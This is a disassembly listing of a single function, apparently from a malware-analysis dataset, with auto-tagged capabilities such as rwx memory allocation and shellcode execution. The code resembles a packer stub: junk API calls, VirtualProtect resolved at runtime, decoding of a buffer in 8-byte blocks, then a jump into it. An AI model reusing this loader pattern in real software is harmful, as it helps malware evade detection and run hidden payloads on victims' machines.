Function at 0x401a58
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows

Disassembly:
mov eax, 0x4a2dca
call fcn.004a2b90
sub esp, 0x4dc
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x207142
jg 0x401a86
inc edi
cmp edi, 0x67d12
jl 0x401a6f
cmp dword [0x20f6b74], 0x93
jne 0x401b5f
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x4e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push str.jixepeducane
lea ecx, [ebp - 0x40]
call fcn.00401e02
push esi
push esi
push esi
push esi
mov dword [ebp - 4], esi
call fcn.00404c23
push esi
push esi
call fcn.00404798
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.0040414f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004041ab
push esi
push esi
call fcn.004040b0
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.00402104
lea ecx, [ebp - 0x88]
call fcn.004021a0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.004031c6
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x40]
call fcn.004028d5
mov eax, dword [0x4a9b60]
add dword [0x20f6b74], 0x1134b
push str.kernel32.dll
mov dword [0x20f79b0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x20f6604], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x20f6b74]
mov dword [0x20f65f8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x20f6b74]
mov dword [0x20f6600], eax
push eax
call dword [0x20f65f8]
mov ebx, 0x1692e
push esi
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec ebx
jne 0x401bbe
cmp dword [0x20f6b74], esi
jbe 0x401c3c
mov eax, dword [0x20f79b0]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x20f6600]
mov byte [ecx + ebx], al
cmp dword [0x20f6b74], 0x490
jne 0x401c33
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc ebx
cmp ebx, dword [0x20f6b74]
jb 0x401be4
xor edi, edi
mov eax, dword [0x20f6b74]
add eax, edi
cmp eax, 0x8d
jne 0x401c64
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
inc edi
cmp edi, 0x38681
jl 0x401c3e
mov eax, dword [0x20f6b74]
mov ecx, dword [0x20f6600]
shr eax, 3
cmp eax, esi
jbe 0x401ca0
mov ebx, ecx
mov edi, eax
cmp dword [0x20f6b74], 0x959
jne 0x401c95
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call fcn.00401670
add ebx, 8
dec edi
jne 0x401c83
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x61
jne 0x401cc1
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x20f6600], eax
inc ebx
cmp ebx, 0x674bd
jl 0x401ca2
push 0x7b
pop edi
cmp dword [0x20f6b74], 0x86
jne 0x401cf7
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec edi
jne 0x401ccd
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x20f6600]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret